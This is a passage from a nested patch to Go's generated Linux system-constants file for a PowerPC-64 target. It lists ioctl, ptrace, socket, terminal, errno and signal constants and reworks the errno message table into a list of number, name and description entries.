-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4010743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80107446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x8010744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80107447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PROT_SAO = 0x10
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_GETEVRREGS = 0x14
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GETREGS64 = 0x16
-+ PTRACE_GETVRREGS = 0x12
-+ PTRACE_GETVSRREGS = 0x1b
-+ PTRACE_GET_DEBUGREG = 0x19
-+ PTRACE_SETEVRREGS = 0x15
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SETREGS64 = 0x17
-+ PTRACE_SETVRREGS = 0x13
-+ PTRACE_SETVSRREGS = 0x1c
-+ PTRACE_SET_DEBUGREG = 0x1a
-+ PTRACE_SINGLEBLOCK = 0x100
-+ PTRACE_SYSEMU = 0x1d
-+ PTRACE_SYSEMU_SINGLESTEP = 0x1e
-+ PT_CCR = 0x26
-+ PT_CTR = 0x23
-+ PT_DAR = 0x29
-+ PT_DSCR = 0x2c
-+ PT_DSISR = 0x2a
-+ PT_FPR0 = 0x30
-+ PT_FPSCR = 0x50
-+ PT_LNK = 0x24
-+ PT_MSR = 0x21
-+ PT_NIP = 0x20
-+ PT_ORIG_R3 = 0x22
-+ PT_R0 = 0x0
-+ PT_R1 = 0x1
-+ PT_R10 = 0xa
-+ PT_R11 = 0xb
-+ PT_R12 = 0xc
-+ PT_R13 = 0xd
-+ PT_R14 = 0xe
-+ PT_R15 = 0xf
-+ PT_R16 = 0x10
-+ PT_R17 = 0x11
-+ PT_R18 = 0x12
-+ PT_R19 = 0x13
-+ PT_R2 = 0x2
-+ PT_R20 = 0x14
-+ PT_R21 = 0x15
-+ PT_R22 = 0x16
-+ PT_R23 = 0x17
-+ PT_R24 = 0x18
-+ PT_R25 = 0x19
-+ PT_R26 = 0x1a
-+ PT_R27 = 0x1b
-+ PT_R28 = 0x1c
-+ PT_R29 = 0x1d
-+ PT_R3 = 0x3
-+ PT_R30 = 0x1e
-+ PT_R31 = 0x1f
-+ PT_R4 = 0x4
-+ PT_R5 = 0x5
-+ PT_R6 = 0x6
-+ PT_R7 = 0x7
-+ PT_R8 = 0x8
-+ PT_R9 = 0x9
-+ PT_REGS_COUNT = 0x2c
-+ PT_RESULT = 0x2b
-+ PT_SOFTE = 0x27
-+ PT_TRAP = 0x28
-+ PT_VR0 = 0x52
-+ PT_VRSAVE = 0x94
-+ PT_VSCR = 0x93
-+ PT_VSR0 = 0x96
-+ PT_VSR31 = 0xd4
-+ PT_XER = 0x25
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4008700d
-+ RTC_EPOCH_SET = 0x8008700e
-+ RTC_IRQP_READ = 0x4008700b
-+ RTC_IRQP_SET = 0x8008700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x40207011
-+ RTC_PLL_SET = 0x80207012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
-+ SIOCINQ = 0x4004667f
-+ SIOCOUTQ = 0x40047473
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x14
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x15
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x10
-+ SO_RCVTIMEO = 0x12
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x12
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x11
-+ SO_SNDTIMEO = 0x13
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x13
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x400
-+ TAB2 = 0x800
-+ TAB3 = 0xc00
-+ TABDLY = 0xc00
-+ TCFLSH = 0x2000741f
-+ TCGETA = 0x40147417
-+ TCGETS = 0x402c7413
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x2000741d
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x80147418
-+ TCSETAF = 0x8014741c
-+ TCSETAW = 0x80147419
-+ TCSETS = 0x802c7414
-+ TCSETSF = 0x802c7416
-+ TCSETSW = 0x802c7415
-+ TCXONC = 0x2000741e
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x40045432
-+ TIOCGETC = 0x40067412
-+ TIOCGETD = 0x5424
-+ TIOCGETP = 0x40067408
-+ TIOCGEXCL = 0x40045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x40285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGLTC = 0x40067474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGPKT = 0x40045438
-+ TIOCGPTLCK = 0x40045439
-+ TIOCGPTN = 0x40045430
-+ TIOCGPTPEER = 0x20005441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x40087468
-+ TIOCINQ = 0x4004667f
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_LOOP = 0x8000
-+ TIOCM_OUT1 = 0x2000
-+ TIOCM_OUT2 = 0x4000
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x40047473
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETC = 0x80067411
-+ TIOCSETD = 0x5423
-+ TIOCSETN = 0x8006740a
-+ TIOCSETP = 0x80067409
-+ TIOCSIG = 0x80045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSLTC = 0x80067475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSPTLCK = 0x80045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTART = 0x2000746e
-+ TIOCSTI = 0x5412
-+ TIOCSTOP = 0x2000746f
-+ TIOCSWINSZ = 0x80087467
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x400000
-+ TUNATTACHFILTER = 0x801054d5
-+ TUNDETACHFILTER = 0x801054d6
-+ TUNGETDEVNETNS = 0x200054e3
-+ TUNGETFEATURES = 0x400454cf
-+ TUNGETFILTER = 0x401054db
-+ TUNGETIFF = 0x400454d2
-+ TUNGETSNDBUF = 0x400454d3
-+ TUNGETVNETBE = 0x400454df
-+ TUNGETVNETHDRSZ = 0x400454d7
-+ TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
-+ TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
-+ TUNSETGROUP = 0x800454ce
-+ TUNSETIFF = 0x800454ca
-+ TUNSETIFINDEX = 0x800454da
-+ TUNSETLINK = 0x800454cd
-+ TUNSETNOCSUM = 0x800454c8
-+ TUNSETOFFLOAD = 0x800454d0
-+ TUNSETOWNER = 0x800454cc
-+ TUNSETPERSIST = 0x800454cb
-+ TUNSETQUEUE = 0x800454d9
-+ TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
-+ TUNSETTXFILTER = 0x800454d1
-+ TUNSETVNETBE = 0x800454de
-+ TUNSETVNETHDRSZ = 0x800454d8
-+ TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
-+ VDISCARD = 0x10
-+ VEOF = 0x4
-+ VEOL = 0x6
-+ VEOL2 = 0x8
-+ VMIN = 0x5
-+ VREPRINT = 0xb
-+ VSTART = 0xd
-+ VSTOP = 0xe
-+ VSUSP = 0xc
-+ VSWTC = 0x9
-+ VT1 = 0x10000
-+ VTDLY = 0x10000
-+ VTIME = 0x7
-+ VWERASE = 0xa
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4000
-+ XTABS = 0xc00
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1943,23 +562,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x3a)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1976,8 +587,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1985,103 +594,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
-@@ -2092,172 +668,180 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
-- 48: "link number out of range",
-- 49: "protocol driver not attached",
-- 50: "no CSI structure available",
-- 51: "level 2 halted",
-- 52: "invalid exchange",
-- 53: "invalid request descriptor",
-- 54: "exchange full",
-- 55: "no anode",
-- 56: "invalid request code",
-- 57: "invalid slot",
-- 58: "file locking deadlock error",
-- 59: "bad font file format",
-- 60: "device not a stream",
-- 61: "no data available",
-- 62: "timer expired",
-- 63: "out of streams resources",
-- 64: "machine is not on the network",
-- 65: "package not installed",
-- 66: "object is remote",
-- 67: "link has been severed",
-- 68: "advertise error",
-- 69: "srmount error",
-- 70: "communication error on send",
-- 71: "protocol error",
-- 72: "multihop attempted",
-- 73: "RFS specific error",
-- 74: "bad message",
-- 75: "value too large for defined data type",
-- 76: "name not unique on network",
-- 77: "file descriptor in bad state",
-- 78: "remote address changed",
-- 79: "can not access a needed shared library",
-- 80: "accessing a corrupted shared library",
-- 81: ".lib section in a.out corrupted",
-- 82: "attempting to link in too many shared libraries",
-- 83: "cannot exec a shared library directly",
-- 84: "invalid or incomplete multibyte or wide character",
-- 85: "interrupted system call should be restarted",
-- 86: "streams pipe error",
-- 87: "too many users",
-- 88: "socket operation on non-socket",
-- 89: "destination address required",
-- 90: "message too long",
-- 91: "protocol wrong type for socket",
-- 92: "protocol not available",
-- 93: "protocol not supported",
-- 94: "socket type not supported",
-- 95: "operation not supported",
-- 96: "protocol family not supported",
-- 97: "address family not supported by protocol",
-- 98: "address already in use",
-- 99: "cannot assign requested address",
-- 100: "network is down",
-- 101: "network is unreachable",
-- 102: "network dropped connection on reset",
-- 103: "software caused connection abort",
-- 104: "connection reset by peer",
-- 105: "no buffer space available",
-- 106: "transport endpoint is already connected",
-- 107: "transport endpoint is not connected",
-- 108: "cannot send after transport endpoint shutdown",
-- 109: "too many references: cannot splice",
-- 110: "connection timed out",
-- 111: "connection refused",
-- 112: "host is down",
-- 113: "no route to host",
-- 114: "operation already in progress",
-- 115: "operation now in progress",
-- 116: "stale file handle",
-- 117: "structure needs cleaning",
-- 118: "not a XENIX named type file",
-- 119: "no XENIX semaphores available",
-- 120: "is a named type file",
-- 121: "remote I/O error",
-- 122: "disk quota exceeded",
-- 123: "no medium found",
-- 124: "wrong medium type",
-- 125: "operation canceled",
-- 126: "required key not available",
-- 127: "key has expired",
-- 128: "key has been revoked",
-- 129: "key was rejected by service",
-- 130: "owner died",
-- 131: "state not recoverable",
-- 132: "operation not possible due to RF-kill",
-- 133: "memory page has hardware error",
-+var errorList = [...]struct {
-+ num syscall.Errno
-+ name string
-+ desc string
-+}{
-+ {1, "EPERM", "operation not permitted"},
-+ {2, "ENOENT", "no such file or directory"},
-+ {3, "ESRCH", "no such process"},
-+ {4, "EINTR", "interrupted system call"},
-+ {5, "EIO", "input/output error"},
-+ {6, "ENXIO", "no such device or address"},
-+ {7, "E2BIG", "argument list too long"},
-+ {8, "ENOEXEC", "exec format error"},
-+ {9, "EBADF", "bad file descriptor"},
-+ {10, "ECHILD", "no child processes"},
-+ {11, "EAGAIN", "resource temporarily unavailable"},
-+ {12, "ENOMEM", "cannot allocate memory"},
-+ {13, "EACCES", "permission denied"},
-+ {14, "EFAULT", "bad address"},
-+ {15, "ENOTBLK", "block device required"},
-+ {16, "EBUSY", "device or resource busy"},
-+ {17, "EEXIST", "file exists"},
-+ {18, "EXDEV", "invalid cross-device link"},
-+ {19, "ENODEV", "no such device"},
-+ {20, "ENOTDIR", "not a directory"},
-+ {21, "EISDIR", "is a directory"},
-+ {22, "EINVAL", "invalid argument"},
-+ {23, "ENFILE", "too many open files in system"},
-+ {24, "EMFILE", "too many open files"},
-+ {25, "ENOTTY", "inappropriate ioctl for device"},
-+ {26, "ETXTBSY", "text file busy"},
-+ {27, "EFBIG", "file too large"},
-+ {28, "ENOSPC", "no space left on device"},
-+ {29, "ESPIPE", "illegal seek"},
-+ {30, "EROFS", "read-only file system"},
-+ {31, "EMLINK", "too many links"},
-+ {32, "EPIPE", "broken pipe"},
-+ {33, "EDOM", "numerical argument out of domain"},
-+ {34, "ERANGE", "numerical result out of range"},
-+ {35, "EDEADLK", "resource deadlock avoided"},
-+ {36, "ENAMETOOLONG", "file name too long"},
-+ {37, "ENOLCK", "no locks available"},
-+ {38, "ENOSYS", "function not implemented"},
-+ {39, "ENOTEMPTY", "directory not empty"},
-+ {40, "ELOOP", "too many levels of symbolic links"},
-+ {42, "ENOMSG", "no message of desired type"},
-+ {43, "EIDRM", "identifier removed"},
-+ {44, "ECHRNG", "channel number out of range"},
-+ {45, "EL2NSYNC", "level 2 not synchronized"},
-+ {46, "EL3HLT", "level 3 halted"},
-+ {47, "EL3RST", "level 3 reset"},
-+ {48, "ELNRNG", "link number out of range"},
-+ {49, "EUNATCH", "protocol driver not attached"},
-+ {50, "ENOCSI", "no CSI structure available"},
-+ {51, "EL2HLT", "level 2 halted"},
-+ {52, "EBADE", "invalid exchange"},
-+ {53, "EBADR", "invalid request descriptor"},
-+ {54, "EXFULL", "exchange full"},
-+ {55, "ENOANO", "no anode"},
-+ {56, "EBADRQC", "invalid request code"},
-+ {57, "EBADSLT", "invalid slot"},
-+ {58, "EDEADLOCK", "file locking deadlock error"},
-+ {59, "EBFONT", "bad font file format"},
-+ {60, "ENOSTR", "device not a stream"},
-+ {61, "ENODATA", "no data available"},
-+ {62, "ETIME", "timer expired"},
-+ {63, "ENOSR", "out of streams resources"},
-+ {64, "ENONET", "machine is not on the network"},
-+ {65, "ENOPKG", "package not installed"},
-+ {66, "EREMOTE", "object is remote"},
-+ {67, "ENOLINK", "link has been severed"},
